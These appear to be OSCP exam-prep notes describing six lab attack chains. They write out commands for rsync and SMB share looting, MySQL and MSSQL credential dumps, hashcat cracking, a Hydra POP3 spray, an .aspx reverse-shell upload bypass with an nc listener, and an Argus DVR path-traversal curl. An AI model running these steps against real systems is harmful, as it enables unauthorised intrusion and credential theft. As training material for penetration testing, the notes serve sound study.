Standalones — Initial Foothold Vectors

1. Anonymous rsync → .env Credential Exposure → MySQL → bcrypt Cracking → SSH

Seen in: Exam A (.110), Exam D (.110)
OS: Linux
Ports: 22 (SSH), 873 (rsync), 3306 (MySQL/MariaDB)

Discovery Steps

1. nmap -p- -T4 -sCV -Pn $IP → identifies port 873 (rsync, protocol version 31)
2. rsync $IP:: → lists available modules without authentication; discovers cloudsite-dev

Exploitation Steps

3. rsync -avP $IP::cloudsite-dev ./loot/ → pulls full CMS source tree locally
4. cat loot/.env → finds plaintext DB credentials: DB_USER=cloudsite_dev, DB_PASSWORD=Cs!Dev#2026@Secure
5. mysql -h $IP -u cloudsite_dev -p --skip-ssl-verify-server-cert → connects directly to exposed MySQL from attacker host
6. USE cloudsite; SELECT * FROM developers; → dumps bcrypt hashes and usernames for 5 users (admin, sarah, marcus, elena, james)
7. Save hashes to hashes.txt
8. hashcat -m 3200 -a 0 hashes.txt /usr/share/wordlists/rockyou.txt → cracks sarah's hash: 12345678910
9. ssh sarah@$IP using cracked password → interactive shell, retrieve local.txt

Notes

• MySQL was exposed externally (not localhost-only) — attackable directly from Kali
• Only sarah's bcrypt hash cracked with rockyou; others held up
• Password reused between application and OS accounts

2. Anonymous/Guest SMB → Config File Credential Exposure → MSSQL → Plaintext Credential Pivot → WinRM

Seen in: Exam A (.111), Exam B (.111)
OS: Windows
Ports: 135, 139, 445 (SMB), 1433 (MSSQL), 5985 (WinRM)

Discovery Steps

1. nmap -p- -T4 -sCV -Pn $IP → identifies SMB (445), MSSQL (1433), WinRM (5985)
2. nxc smb $IP -u 'guest' -p '' → confirms guest authentication accepted; SMBv1: None

Exploitation Steps

3. nxc smb $IP -u 'guest' -p '' -M spider_plus -o DOWNLOAD_FLAG=True → spiders all readable shares (IPC$, WebDev), downloads all files
4. Inspect downloaded files → find Web.config (in legacy/ subdirectory): connectionString="Server=localhost;Database=aboroabmain;User Id=dom;Password=DarkBright789;"
5. nxc smb $IP -u 'guest' -p '' --rid-brute → enumerate local users; confirms dom is a valid user (RID 1001)
6. nxc mssql $IP -u dom -p 'DarkBright789' --local-auth -q 'USE aboroabmain; SELECT * FROM ServiceAccounts' → dumps 23 service account entries with plaintext passwords including dom:GreenLantern456 (Web Portal DB Login)
7. nxc winrm $IP -u 'dom' -p 'GreenLantern456' → confirms WinRM access (Pwnd!)
8. evil-winrm -i $IP -u 'dom' -p 'GreenLantern456' → interactive PowerShell session, retrieve local.txt

Notes

• xp_cmdshell was blocked — no RCE via MSSQL; pivot was purely credential-based
• The ServiceAccounts table was the critical data source, not the DB credentials themselves
• SMB signing not required — message signing enabled but not enforced

3. WHOIS Enumeration → Hydra POP3 Brute Force → SSH Credentials in Mailbox

Seen in: Exam C (.110), Exam E (.110)
OS: Linux
Ports: 22 (SSH), 43 (WHOIS), 110 (POP3/Dovecot), 143 (IMAP/Dovecot)

Discovery Steps

1. nmap -p- -T4 -sCV -Pn $IP → identifies SSH, port 43 as "whois?" (OSCP.EXAM Domain Registry), POP3, IMAP
2. Nmap banner for port 43 includes % OSCP.EXAM Domain Registry — flags it as an internal registry

Exploitation Steps

3. whois -h $IP oscp.exam → queries internal WHOIS; returns nic-hdl, e-mail, and contact fields: SA001-OSCP, sysadmin@oscp.exam, IT001-OSCP, it-ops@oscp.exam
4. Build users.txt manually from WHOIS fields: SA001-OSCP, IT001-OSCP, sysadmin, it-ops
5. hydra -L users.txt -P users.txt pop3://$IP → credential spray; discovers sysadmin:sysadmin
6. telnet $IP 110 → USER sysadmin → PASS sysadmin → +OK Logged in.
7. LIST → 25 messages in mailbox
8. RETR 9 → email from Marcus Webb (IT Support Lead) to sysadmin containing onboarding info for James Turner: Username: james, Password: Welcome2026!
9. ssh james@$IP → interactive shell using found credentials

Notes

• Password spray used the same wordlist for both usernames and passwords — the credential was trivially guessable
• Credentials were transmitted in plaintext inside the email body — not encrypted at rest
• Port 43 WHOIS is an unusual but recurring vector in OSCP exam environments

4. Employee Portal Self-Registration → SSH Private Key Exposed in Profile

Seen in: Exam B (.112), Exam C (.112)
OS: Linux
Ports: 22 (SSH), 80 (HTTP/nginx)

Discovery Steps

1. nmap -sVC -p- -T4 -sT --open -Pn $IP → ports 22 and 80 open; HTTP server (nginx) with title "Home | Employee Portal"
2. Browse to web server → "Crestline" employee portal with login and self-registration

Exploitation Steps

3. Navigate to registration page → create arbitrary account (no email verification / no approval required)
4. Log in → browse to "Team" directory → see all employee profiles listed
5. Click on "Clara Mitchell" (DevOps Engineer) → profile shows two attached files: dev_staging_key.bak, deployment_procedures.pdf
6. Download dev_staging_key.bak
7. file dev_staging_key.bak → OpenSSH private key
8. chmod 600 dev_staging_key.bak
9. ssh -i dev_staging_key.bak clara@$IP → successful SSH shell

Notes

• No account approval workflow — any anonymous visitor can register and immediately access internal employee files
• Private key was stored as a profile attachment, accessible to any authenticated user
• Target username discovered from profile (email visible: clara@oscp.exam)

5. vhost Fuzzing → ASP.NET Helpdesk Portal → File Upload Bypass → RCE

Seen in: Exam A (.112)
OS: Windows (IIS/ASP.NET)
Ports: 80 (HTTP), 5985 (WinRM)

Discovery Steps

1. nmap -sVC $IP → port 80 (IIS), 5985 (WinRM)
2. Browse to main domain; standard dir-busting returns nothing interesting
3. Observe URL change when browsing → add domain names to /etc/hosts

Exploitation Steps

4. ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://almondblossoms.ai -H "Host:FUZZ.almondblossoms.ai" → support returns distinctly different response size (2645 vs 19013 words)
5. Add support.almondblossoms.ai to /etc/hosts → navigates to "Almond Blossoms Support Hub" IT helpdesk portal
6. Self-register an account → log in → navigate to "Submit a New Ticket"
7. feroxbuster -u http://support.almondblossoms.ai/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,txt,html,json,zip -t 80 -d 3 → discovers /uploads/ is directly browsable
8. Attempt to upload .aspx reverse shell → blocked by client-side filter (accepts only JPEG, PNG, GIF)
9. Intercept multipart upload request in Burp Suite → change Content-Type header of file part to image/jpeg while keeping .aspx extension → re-submit → upload succeeds
10. Note uploaded file path from ticket attachment (e.g., /uploads/tickets/4/rev.aspx)
11. nc -lvnp 443 → listener ready
12. Browse to the uploaded file path in browser → triggers ASP.NET execution → catch reverse shell as oscp\marcus

Notes

• Double-extension (.aspx.jpg) did not work — Content-Type header bypass was sufficient
• No server-side magic byte validation in place
• /uploads/ directory was publicly browsable without authentication
• Raw TCP listener required (not Metasploit multi/handler) for .aspx shell

6. Anonymous FTP → Plaintext Credentials → Argus DVR Path Traversal → SMB Spray → WinRM

Seen in: Exam D (.111)
OS: Windows
Ports: 21 (FTP), 80 (HTTP), 443 (HTTPS/Tomcat), 445 (SMB), 5985 (WinRM), 8080 (Argus DVR)

Discovery Steps

1. nmap -sVC -p- $IP → identifies FTP (21), Samsung AllShare httpd (80), Apache Tomcat 8.5.34 (443), SMB (445), WinRM (5985), unknown on 8080
2. FTP anonymous login: ftp $IP → anonymous: → success

Exploitation Steps

3. Browse FTP directory → download credentials file containing Sandra:Nj82@1Waqk90$
4. Identify Argus Surveillance DVR 4.0.0.0 on port 8080 → apply CVE path traversal (EDB-45296):
   curl "http://$IP:8080/WEBACCOUNT.CGI?OkBtn=++Ok++&RESULTPAGE=../../../../../../Users%5CSandra%5CDesktop%5Clocal.txt" → confirms Sandra is a real OS user and reads local.txt directly
5. Build users.txt and passwords.txt from all collected credentials
6. nxc smb $IP -u users.txt -p passwords.txt --continue-on-success -t 1 → finds valid pair: OSCP\Sandra:V3rt1cal8Shr1nk2C3ntury!
7. Confirm WinRM access: nxc winrm $IP -u 'Sandra' -p 'V3rt1cal8Shr1nk2C3ntury!'
8. evil-winrm -i $IP -u 'Sandra' -p 'V3rt1cal8Shr1nk2C3ntury!' → PowerShell session

Notes

• Argus DVR path traversal was unauthenticated and read files as SYSTEM — could read proof.txt directly without a shell
• Known CVE: Argus Surveillance DVR 4.0.0.0 Directory Traversal (EDB-45296)
• FTP credentials and DVR traversal together cross-validated the user's identity before spraying

See Also

• Standalones/PrivEsc Vectors
• Standalones/Tools Used
• Standalones/Summary
• AD/Initial Foothold Vectors